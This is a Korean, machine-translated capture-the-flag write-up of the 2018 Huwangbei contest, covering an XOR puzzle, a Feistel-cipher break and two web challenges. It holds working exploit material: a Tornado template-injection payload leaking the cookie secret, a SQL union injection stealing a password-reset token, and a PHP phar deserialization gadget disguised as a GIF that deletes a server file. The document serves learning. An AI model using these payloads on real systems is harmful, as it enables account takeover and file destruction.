2018 호 망 컵

36178 단어 wp
나의 새 블 로그 에 관심 을 가 져 주 십시오:http://mmmmmmlei.cn
신선 이 싸 우 는 것 을 다시 한 번 보 았 다.
Misc
늦 은 출석 문제
제목 힌트 easy xor, 첨부 파일 을 여 는 것 은 base 64 입 니 다:
AAoHAR1QUiBTJVBQI1RVIl5WJVInUlNWIFZUX1ZRJ1dWU1dfURs=
디 코딩 은 난 장 판이 야.생각 이 CSAW 비밀번호 첫 번 째 문제 와 똑 같 을 것 이 라 고 추측 하고 스 크 립 트 를 작성 합 니 다.
import base64
ciphertext="AAoHAR1QUiBTJVBQI1RVIl5WJVInUlNWIFZUX1ZRJ1dWU1dfURs="
cipher=base64.b64decode(ciphertext)
for i in range(0,256):
    result=""
    for s in cipher:
        result+=chr(ord(s)^i)
    if "flag" in result:
        print result

flag{64F5C66E23D80C4A450F02907A105197}
Crypto
fez
제목 원본:
import os
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c
def f(x,k):
    return xor(xor(x,k),7)
def round(M,K):
    L=M[0:27]
    R=M[27:54]
    new_l=R
    new_r=xor(xor(R,L),K)
    return new_l+new_r
def fez(m,K):
    for i in K:
        m=round(m,i)
    return m

K=[]
for i in range(7):
    K.append(os.urandom(27))
m=open("flag","rb").read()
assert len(m)<54
m+=os.urandom(54-len(m))

test=os.urandom(54)
print test.encode("hex")
print fez(test,K).encode("hex")
print fez(m,K).encode("hex")

세 그룹의 print 결 과 를 제 시 했 습 니 다. 암호 화 과정 을 분석 하 는 것 은 feitel 암호 구조 이 고 7 라운드 가 교체 되 었 습 니 다. 모두 다른 것 또는 명문 L + R (명문 을 두 부분 으로 나 누 는 것) 입 니 다. 마지막 으로 암호 화 된 결 과 는 다음 과 같 습 니 다.
L_enc: R xor K1 R_enc: L xor R xor K2
문 제 는 test 와 test 암호 화 결 과 를 제시 하여 K1 과 K2 를 계산 한 다음 에 flag 비밀문 왼쪽 부분 을 이용 하여 flag 명문 의 오른쪽 부분 을 계산 하여 flag 를 얻 을 수 있 습 니 다.
스 크 립 트 는 다음 과 같 습 니 다:
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c

test="2315d80c2dd73098953686be6c82aa63c1d362eb0095e4621cce28bec4c921ce016afc7f39fd93b14b6c28ce69c7096b91fd2db0862d"
test_enc="308e590a180473ab4d23a0c67b65fe2bf2d0a9f1b255e4e2610b0c90e8e210c8ed4f2b9a3b09c1886a781f94fee4f77488c0b30f2395"
flag_enc="e822e918e578a7af4f0859a99aab5d7563644beb4207a73d5fc4560d3deb696320cec479431a4f724310499baf5230db7e56764915d0"
test=test.decode("hex")
test_enc=test_enc.decode("hex")
flag_enc=flag_enc.decode("hex")

k1=xor(test[27:54],test_enc[0:27])
k2=xor(xor(test[27:54],test[0:27]),test_enc[27:54])
flag_r=xor(k1,flag_enc[0:27])
flag_l=xor(flag_r,xor(k2,flag_enc[27:54]))

print flag_l+flag_r

flag{festel_weak_666_11xd77fhy33}
Web
easy tornado
제목 열기 에는 세 가지 옵션 이 있 습 니 다.
Orz. txt 들 어가 기 힌트 는 render () hint. txt 들 어가 기 힌트 는 md5 (cookie secret + md5 (filename) flag. txt 들 어가 기 힌트 는 / flllllllllllllllag 입 니 다.
url   : http://117.78.26.200:31031/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f

그럼 읽 기 / flllllllag 인 것 같은 데 여기 쿠키시 크 릿 몰라.하나의 힌트 는 render () 이기 때문에 SSTI 가 존재 해 야 합 니 다. * / error? msg = {{1} * * 를 사용 해 보 세 요.하지만 상당히 많은 문 자 를 걸 러 쿠키 를 직접 읽 을 수 없습니다.시 크 릿 이라는 변수.
자 세 를 돌려 보 았 지만 결과 가 없 었 다.tornado 프레임 워 크 를 이용 하여 다른 방식 으로 쿠키 를 읽 는 것 같 습 니 다secret。
이 글 에서 쿠키 발견secret 는 handler 의 settings 에 저장 되 어 있 기 때문에 구조 payload:http://117.78.26.200:31031/error?msg={{handler. settings}, 쿠키 받 기secret:
‘cookie_secret’: g!E#Ax&_ywJ[d1BRWe5U?qa^@u4pIhX)G.lYDQ
cookie secret 가 있 습 니 다. filename 은 / flllllllllllag 로 설정 되 어 있 습 니 다. 그 내장 md5 를 이용 하여 서명 을 생 성하 여 접근 합 니 다. payload:
http://117.78.26.200:31031/file?filename=/fllllllllllag&signature=a0e8913e76b38d61f13cb22ba8d59cf5

flag 획득:
flag{975596d6031dd373b313acc910a6891f}
ltshop
끝나 고 스승 님 들 께 서 조건 경쟁 과 my sql 의 정수 가 넘 쳐 서 docker 가 재현 되 기 를 기다 리 고 있다 고...
easy_laravel
스승 님 들 의 wp 를 따라 한 차례 재현 되 었 습 니 다. emmmm 는 어 쩔 수 없 이 이 문제 의 이름 을 easy laravel 로 지어 서 출제 자 에 게 칼날 을 보 낼 수 있 습 니 다. 지금 은 웹 문제 하나 가 틀 에 박 혀 있어 서 움 직 일 수 없습니다.
github 의 docker 주소:https://github.com/sco4x0/huwangbei2018_easy_laravel
웹 페이지 소스 코드 가 소스 주 소 를 주 었 습 니 다:https://github.com/qqqqqqvq/easy_laravel.
등록 해 보 니 노트 가 하나 밖 에 없 었 습 니 다. 비어 있 었 습 니 다.
원본 코드 보기:
관리자 의 이름과 메 일 을 찾 았 지만 비밀 번 호 는 무 작위 40 자리 로 풀 리 지 않 았 습 니 다.
경 로 를 살 펴 보 니 note 기능 만 비 관리자 가 접근 할 수 있 습 니 다.
그럼 우선 관리인 신분 으로 등록 해 야 합 니 다.
note 컨트롤 러 NoteController 를 보 니 주입 이 존재 합 니 다.
그래서 구조 admin 'or 1 \ # 등록, 등록:
비밀번호 다시 보기:
원래 비밀번호 가 뭔 지 알 수가 없어 서...
우 리 는 비밀 번 호 를 리 셋 하 는 코드 를 보 았 다.
laravel 프레임 워 크 초기 화 비밀번호 에 대해 서 는 문 서 를 볼 수 있 습 니 다.https://laravel-china.org/docs/laravel/5.6/passwords/1384
대체 적 인 절 차 는 비밀 번 호 를 리 셋 하고 관리자 메 일 을 입력 하면 관리자 계 정의 token 이 생 성 됩 니 다. email 과 해당 하 는 token 을 입력 하면 방문 / password / reset / token 에서 비밀 번 호 를 리 셋 할 수 있 습 니 다. token 은 어떻게 알 수 있 습 니까?
우 리 는 이메일 과 token 이 모두 데이터베이스 에 저장 되 어 있 는 것 을 보 았 고, 우 리 는 주입 점 이 있어 서 데이터베이스 의 모든 정 보 를 얻 을 수 있다.
우선 비밀 번 호 를 리 셋 하려 면 관리자 메 일 을 입력 하 십시오. 데이터베이스 에 가서 token 을 가 져 옵 니 다.
payload:
admin'union select 1,(select token from password_resets where email='[email protected]'),3,4,5#

방문 하기:
http://192.168.146.145:2333/password/reset/8eea41c7ef5cdf968941d07b321722a70c8bc89086d0149979e7ec91d5c07870

비밀번호 초기 화:
관리자 로그 인 성공:
flag 부분 에 no flag 를 표시 합 니 다. flag 부분의 컨트롤 러 를 살 펴 보 니 flag 가 분명히 표시 되 어 있 습 니 다.
이 곳 의 시험 점 은 Blade 템 플 릿 캐 시 입 니 다. 오래된 캐 시 는 삭제 되 지 않 았 습 니 다. flag 를 볼 수 없습니다. 이 편 을 참고 하 십시오.
그래서 우리 가 해 야 할 일 은 캐 시 파일 을 삭제 하고 flag 를 읽 으 려 면 먼저 캐 시 파일 을 찾 아야 합 니 다.
캐 시 파일 의 이름 은 laravel 에서 자동 으로 생 성 됩 니 다. 생 성 방법 은 다음 과 같 습 니 다.
public function getCompiledPath($path)
{
    return $this->cachePath.'/'.sha1($path).'.php';
}

이 $path 는 템 플 릿 의 위치 입 니 다. * * / usr / share / nginx / html / resources / views / auth / flag. blade. php * * *
nginx 의 기본 사이트 루트 디 렉 터 리 는 / usr / share / nginx / html 입 니 다. 이 블 로그 에서 캐 시 파일 이 / storage / framework / views 에 있 는 것 을 알 게 되 었 습 니 다. sha 1 알고리즘 을 더 해서 마지막 경 로 는:
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
경로 가 있 는데 어떻게 삭제 합 니까?
coposer 의 다양한 의존 도 를 이용 하여 이 설치 구성 요 소 를 참고 하 십시오. (붙 인 docker 주소 의 coposer. par 를 이용 할 수도 있 고 환경 변 수 를 coposer install 로 설치 할 수도 있 습 니 다)
composer 를 보고 unlike 를 검색 해 보 세 요. Swift ByteStream Temporary FileByteStream 의 분석 함수 에 unlike 가 있 는 것 을 발 견 했 습 니 다. 그것 은 반 직렬 화 구멍 을 통 해 분석 함 수 를 실행 하여 캐 시 를 삭제 하 는 것 입 니 다. 어디서 반 직렬 화 를 촉발 합 니까?
check 에서 file exists 를 발 견 했 습 니 다:
public function check(Request $request)
{
    $path = $request->input('path', $this->path);
    $filename = $request->input('filename', null);
    if($filename){
        if(!file_exists($path . $filename)){
            Flash::error('       ,      ');
        }else{
            Flash::success('    ');
        }
    }
    return redirect(route('files'));
}

phar: / / 반 서열 방법 을 사 용 했 습 니 다. 이 글 을 참고 하 십시오.
이렇게 해서 우 리 는 phoar 가방 을 구성 하고 다음은 구조의 phop 코드 입 니 다.
* * 주의: * * php. ini 의 phoar. readonly 옵션 을 off 로 설정 해 야 합 니 다. 그렇지 않 으 면 phoar 파일 을 만 들 수 없습니다.

class Swift_ByteStream_AbstractFilterableInputStream {
    /**
     * Write sequence.
     */
    protected $sequence = 0;
    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $filters = [];
    /**
     * A buffer for writing.
     */
    private $writeBuffer = '';
    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
    /** The internal pointer offset */
    private $_offset = 0;

    /** The path to the file */
    private $_path;

    /** The mode this file is opened in for writing */
    private $_mode;

    /** A lazy-loaded resource handle for reading the file */
    private $_reader;

    /** A lazy-loaded resource handle for writing the file */
    private $_writer;

    /** If magic_quotes_runtime is on, this will be true */
    private $_quotes = false;

    /** If stream is seekable true/false, or null if not known */
    private $_seekable = null;

    /**
     * Create a new FileByteStream for $path.
     *
     * @param string $path
     * @param bool   $writable if true
     */
    public function __construct($path, $writable = false)
    {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';

        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }

    /**
     * Get the complete path to the file.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->_path;
    }
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
    public function __construct() {
        $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
        parent::__construct($filePath, true);
    }
    public function __destruct() {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

디 렉 터 리 아래 1. gif 파일 을 생 성하 여 업로드 합 니 다. 파일 목록 에 이 파일 이 있 습 니 다.
그리고 check 해 보 세 요. 가방 을 잡 고 path 인 자 를 추가 하 세 요. 위 에 제 시 된 check 부분의 코드 를 자세히 보 세 요.
path=path=phar:///usr/share/nginx/html/storage/app/public

역 직렬 화 를 실행 하고 캐 시 파일 을 삭제 하 며 flag 에 접근 하면 flag 를 볼 수 있 습 니 다.
참고:
  • https://www.kingkk.com/2018/10/%E6%8A%A4%E7%BD%91%E6%9D%AF-web/
  • http://skysec.top/2018/10/13/2018%E6%8A%A4%E7%BD%91%E6%9D%AF-web-writeup/
  • http://www.venenof.com/index.php/archives/565/

  • 총결산
    웹 손 이 폐기 되 었 습 니 다.

    좋은 웹페이지 즐겨찾기